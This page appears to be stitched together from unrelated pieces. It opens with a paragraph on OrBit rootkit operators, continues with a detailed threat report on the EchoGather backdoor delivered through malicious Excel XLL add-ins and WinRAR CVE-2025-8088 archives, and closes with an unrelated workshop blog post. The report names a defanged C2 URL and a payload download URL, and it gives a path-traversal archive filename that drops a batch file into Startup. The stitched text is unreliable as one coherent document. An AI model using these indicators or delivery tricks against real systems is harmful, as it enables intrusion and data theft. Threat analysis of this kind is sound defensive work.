Our analysis of the OrBit samples also discovered that at least 3 different operators are using the backdoor. A major operational shift occurred in 2025 with the introduction of a new two-stage infector architecture, marking one operator’s transition from a purely passive SSH-backdoor implant to malware with its first direct C2 capability. This infector utilizes a cron job to fetch external payloads from the domain cf0[.]pw. The architecture of this new dropper is identical to one used in the 2020 RHOMBUS botnet campaign, suggesting shared tooling or operator overlap, a link further cemented by the C2 domain resolving to infrastructure located in Russia. In parallel, the same Medusa codebase was weaponized upstream by the state-sponsored espionage actor UNC3886 (tracked by Mandiant). The 2024 0xAA-key cluster we tracked as Lineage A corresponds exactly to UNC3886’s MEDUSA configuration, including the backdoor credentials, the install path, and a strace artifact that retains the literal “orbit” string. The rootkit has also been adopted by the CrowdStrike-tracked eCrime adversary BLOCKADE SPIDER since at least 2024, who leverage OrBit for stealthy persistence against VMware vCenter infrastructure to facilitate the deployment of Embargo ransomware. The continued emergence of new Lineage A samples in 2026, accompanied by operator-specific credential rotation, confirms that a single public rootkit codebase is being cloned and configured by multiple unrelated actor groups.
Malware analysis is an amazing field that can be interesting, fun, and useful for your cybersecurity career. If you’re wondering WHY anyone would want to dig into malware, it’s all for a better understanding of cybersecurity!
An XLL is a native Windows DLL that Excel loads as an add-in, allowing it to execute arbitrary code through exported functions like xlAutoOpen. Since at least mid-2017, threat actors began abusing Microsoft Excel add-ins via the .XLL format, the earliest documented misuse is by the threat group APT10 (aka Stone Panda / Potassium) injecting backdoor payloads via XLLs.
Since 2021, a growing number of commodity malware families and cyber-crime actors have added XLL-based delivery to their arsenals. Notable examples include Agent Tesla and Dridex, researchers observed an increase of these malware being dropped via malicious XLL add-ins.
Attackers typically embed their malicious code in the standard add-in export functions, such as xlAutoOpen. When a user enables the add-in in Excel, the malicious payload executes automatically, dropping or downloading a malicious payload. Some malware families use legitimate frameworks to create XLL (Excel Add-in) files. One common example is Excel-DNA, a popular open-source framework.
These frameworks make it easier for attackers to build and load malicious XLLs. In some cases, they also allow threat actors to pack and execute additional payloads directly in memory.
In late October 2025, a 64-bit DLL compiled as an XLL add-in was submitted to VirusTotal from two different countries. The first submission came from Ukraine on October 26, followed by three separate submissions from Russia beginning on October 27. The Russian-submitted samples were named Плановые цели противника.xll (“enemy’s planned targets”) and Плановые цели противника НЕ ЗАПУСКАТЬ.xll, which depending on context can mean either “Do NOT release the enemy’s planned targets” or “Do NOT activate the enemy’s scheduled targets.”
This DLL contains an embedded second-stage payload, a backdoor we named EchoGather. Once launched, the backdoor collects system information, communicates with a hardcoded command-and-control (C2) server, and supports command execution and file transfer operations. While it uses the XLL format for delivery, its execution chain and payload behavior differ from previously documented threats abusing Excel add-ins. Through pivoting on infrastructure and TTPs we were able to link this campaign to Paper Werewolf (aka GOFFEE), a group that has been targeting Russian organizations.
An XLL is an Excel add-in implemented as a DLL that Excel loads directly, usually with the .xll extension. Microsoft explicitly describes XLL files as a DLL-style add-in that extends Excel with custom functions.
When a user double clicks the file with the .xll extension, Excel is launched, loads the DLL and calls its exported functions such as xlAutoOpen, initialization code, or xlAutoClose, when unloading. Often malicious XLLs embed their payload inside xlAutoOpen or through a secondary loader, so that code runs immediately once Excel imports the DLL.
Excel XLL add-ins and macros differ mainly in how they execute and the level of control they provide an attacker. Macros, VBA or legacy XLM, run as scripts inside Excel’s macro engine and are constrained by Microsoft’s security model, which now includes blocking macros from the internet, signature requirements, and multiple user-facing warnings. XLLs, on the other hand, are compiled DLLs that Excel loads directly into its own process using LoadLibrary(), giving them the full power of native code without going through macro security checks. While macros rely on interpreted scripting and COM interactions, XLLs can call any Windows API, inject into other processes, or act as full-featured malware loaders. This makes XLLs far more capable and harder to analyze, and it may explain why some threat actors chose XLL-based delivery methods rather than macro-based.
Loader behavior
The DLL exports two functions, xlAutoOpen and xlAutoClose, both of which return zero. This behavior differs from that of legitimate XLL add-ins as well as from previously documented threats abusing the XLL format, such as those described in the most recent CERT-UA publication. In this case, the malicious logic is not tied to the typical export functions but instead is triggered through dllmain. The main function of the loader is called when fdwReason > 2 meaning that dllmain_dispatch was called with DLL_THREAD_DETACH (=3). Essentially the main function will be called when any thread in Excel that previously called into the XLL (even Excel’s own threads) exits.
Triggering the malicious payload during DLL_THREAD_DETACH helps the malware evade detection by delaying execution until a thread exits. This bypasses typical behavior-based detection, which focuses on early-stage activity like PROCESS_ATTACH, making the execution appear benign at first and allowing the second-stage payload to activate covertly after the sandbox times out or AV heuristics complete.
A call to the function that loads and executes the backdoor.
The embedded file is dropped as mswp.exe in %APPDATA%\Microsoft\Windows, then executed as a hidden process using CreateProcessW with CREATE_NO_WINDOW. Standard Output and Error is captured and redirected via anonymous pipes. If process creation succeeds, the function returns true otherwise, it cleans up and returns false.
The backdoor: EchoGather
We refer to this backdoor as EchoGather due to its focus on system reconnaissance and repeated beaconing behavior.
The dropped payload is a 64-bit backdoor with hardcoded configuration and C2 address. It collects system information and communicates with the C2 over HTTP(S) using the WinHTTP API.
Main function of EchoGather.
The data collected by EchoGather consists of:
IPv4 addresses
OS type (“Windows”)
Architecture
NetBIOS name
Username
Workstation domain
Process ID
Executable path
Static version string: 1.1.1.1
Next, EchoGather encodes that data using Base64 and sends it to the C2 using POST method. The C2 address is constructed from hardcoded strings. In the analyzed sample the C2 address was: https://fast-eda[.]my:443/dostavka/lavka/kategorii/zakuski/sushi/sety/skidki/regiony/msk/birylievo This transmission occurs in an infinite loop with randomized sleep intervals between 300–360 seconds.
In all of its C2 communications, EchoGather uses the WinHTTP API. It supports various proxy configurations and is designed to ignore SSL/TLS certificate validation errors, allowing it to operate in environments with custom or misconfigured proxy and certificate settings.
Supported commands
EchoGather supports four commands.
All outgoing communication with the C2 is encoded using standard Base64. When a command is received from the C2 the first 36 bytes contain the request ID, it’s a unique identifier that is being used when the backdoor needs to send the information is several packages.
0x54 Remote Command Execution
EchoGather first extracts the request ID, followed by the command that needs to be executed. It then decrypts the string cmd.exe /C %s using a hardcoded XOR key (0xCA), which serves as a template for command execution. Using this template, it executes the specified command via cmd.exe. The output of the command is captured through a pipe and sent back to the C2 server, with the request ID prepended to the response.
0x45 Return Configuration
Sends the embedded configuration structure to the C2.
0x56 File Exfiltration
The backdoor begins by extracting a request ID and the name of the file to be exfiltrated. It opens the specified file, determines its total size, and calculates how many 512 KB chunks are required for transmission. A transfer header containing metadata about the chunk count and size is then sent to the C2 server. In response, the backdoor receives the request ID used to identify the session. The file is read and transmitted in chunks, with each chunk containing the request ID, chunk index, file tag, data length, and raw file data.
0x57 Remote File Write
EchoGather receives a filename from the C2 and writes the incoming data chunks to the system, reconstructing the file as the chunks arrive.
Infrastructure analysis
During our research we found two domains that were used by the threat actors.
IP Resolutions for fast-eda.my
The domain was registered on September 12, 2025.
The very first resolution was between September 12th and 14th, the domain was resolved to 199.59.243[.]228.
After that and until November 26th all of the resolutions were on Cloudflare instances.
From September 18th to November 24th the domain was resolved to 172.64.80[.]1
On November 27th it was resolved to 94.103.3[.]82 the address is connected to Russia based on geolocation.
When we looked up the related files to this domain on VirusTotal, we found 7 files. Two of them are powershell scripts that load the backdoor: mswt.ps1 and the second one wasn’t submitted with a name.
The two scripts are identical, including their execution flow. Both first decode two Base64-encoded files: a PDF document and the EchoGather payload. The PDF is opened, while the payload is executed in the background. The document appears to be an invitation, written in Russian, to a concert for high-ranking officers. However, the PDF is AI-generated and contains several noticeable inconsistencies. For instance, the stamp in the lower right corner appears to be an AI-generated attempt at recreating Russia’s national emblem, the double-headed eagle, but the result resembles a distorted or bird-like figure rather than the intended symbol. The text also includes several errors. Some Cyrillic letters are incorrect, for example, the letter Д is used in place of Л in multiple instances, and the word праздиика is a misspelled version of праздника. Additionally, the phrase «с глубоким уважением приглашает» (translated as “with deep respect invites (you)”) is unnatural and not idiomatic in the context of formal Russian invitations.
Decoy document, and invite to a concert.
IP Resolutions for ruzede.com
First seen on 2025-05-21, resolved to 162.255.119[.]43 and later to 5.45.85[.]43 until October 2nd.
On October 2nd it was resolved to IP addresses in Cloudflare.
From October 4th to November 26th the domain was resolved to the same address seen in the previous domain: 172.64.80[.]1
On November 26th it was resolved to 193.233.18[.]137 in Russia based on geolocation.
The ip address is linked to different malicious domains.
Using VirusTotal, we pivoted on the domain ruzede[.]com, and we identified a RAR archive that exploits a known vulnerability, CVE-2025-8088, a vulnerability in WinRAR that involves the abuse of NTFS alternate data streams (ADSes) in combination with path traversal. This flaw allows attackers to embed malicious content within seemingly harmless filenames by appending ADSes that include relative path traversal sequences.
The archive contains a file named Вх.письмо_Мипромторг.lnk:.._.._.._.._.._Roaming_Microsoft_Windows_run.bat
When the archive is opened, WinRAR fails to properly sanitize these ADS paths and extracts the hidden data streams, placing them in unintended or sensitive locations such as %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup.
Connected file to the domain ruzede[.]com
The phrase “письмо Мипромторг” is misspelled; the correct form is “письмо Минпромторга.” This term refers to an official letter or communication issued by the Ministry of Industry and Trade of the Russian Federation (Минпромторг России). The same misspelling error is in the archive file name: Вх.письмо_Мипромторг.rar.
Essentially the file in the archive is a batch script that launches a hidden PowerShell process. This process navigates to a user-specific AppData directory, then downloads a PowerShell script named docc1.ps1 from a remote URL (https://2k-linep[.]com/upload/docc1.ps1) and saves it to the current working directory. The script is then executed via a new PowerShell instance with execution policy restrictions bypassed.
The downloaded script (docc1.ps1) extracts both a PDF file and an EchoGather payload, using a technique similar to the one described previously. However, in this instance, the embedded PDF differs from earlier samples. This document is allegedly sent from the deputy of the Ministry of Industry and Trade of the Russian Federation, asking for price justification documentation under the state defense order, focusing on violations of deadlines and reporting on pricing approval processes.
The companies listed with their emails on the top right side of the first page (Almaz-Antey, Shvabe, and the United Instrument-Making Corporation) are major Russian defense-industry and high-technology enterprises, and they might be the intended recipients of this decoy document.
Page 1Page 2Page 3
The same vulnerability was used by several threat actors including RomCom (Russia-aligned) and Paper Werewolf, a cyberespionage group targeting Russian organizations and active since 2022. In early August, BI.ZONE Threat Intelligence published a report about an ongoing campaign of Paper Werewolf that exploits CVE-2025-6218, affects WinRAR versions up to and including 7.11 and enables directory traversal attacks that allow malicious archives to extract files outside their intended directories. A second zero-day, at the time, vulnerability that abuses ADSs for path traversal. The report doesn’t mention CVE-2025-8088, but based on the description we assume that is the same vulnerability.
The interesting part is that we can see similarities between the decoy documents from the report to the document above. First, the filename of the decoy document in the report is запрос Минпромторга РФ.pdf (Request of the Ministry of Industry and Trade of the Russian Federation.pdf) no misspellings in the filename. It refers to the same office. The document asks to assess the impact of a specific government resolution on production capacities of subsidy recipients. Next, both documents share the same template and structure: red stamp on the left side, followed by the same information about the office, the date and the request id. Both documents contain a request for information to be submitted to a government-affiliated organization.
Attribution
Based on the shared infrastructure, such as the ruzede[.]com domain, as well as notable similarities in decoy document construction and the exploitation of the WINRAR vulnerability that leverages ADSs, we attribute this campaign to the Paper Werewolf (aka GOFFEE) threat group. The recent use of XLL files suggests that the group is experimenting with new delivery methods while continuing to rely on established infrastructure, possibly in an attempt to evade detection. In addition, the use of a new, yet simple, backdoor may indicate an effort to improve and evolve their toolset.
Summary
It’s less common to see public reporting on threats targeting Russian organizations, which makes this campaign worth highlighting. The threat actor appears to be actively exploring new methods to evade detection, including the use of XLL-based delivery techniques and newly developed payloads. These changes suggest an effort to enhance their capabilities. However, there are still clear gaps in both technical execution and linguistic accuracy, indicating that their tradecraft is still developing.
Last month I gave a workshop for a group of 20-25 enthusiastic women, all either starting in infosec, or with an interest to start in this field.
For that purpose, I had created a full workshop: slides or a presentation introducing the concepts of Malware Analysis, Threat Intelligence and Reverse Engineering.
The idea was to convey these topics in a clear and approachable manner, both theory and in practice; for the latter, I had set up a custom VM, with Labs, including my own created applications, some with simple obfuscation.
All participants were very enthusiastic, and I hope to have sparkled most, if not some of them to pursue a career in this field. For this exact same reason, I am now releasing the presentation to the public - the VM and recordings however will not be published, as I created these solely for CWF.
I would also like to thank Nathalie for putting me in touch with Rosanna, the organiser of the CyberWayFinder program. And of course, my gratitude to all the attendees for making it!
Mind the disclaimer for the slides. License: CC Attribution-NonCommercial-NoDerivs License
Login
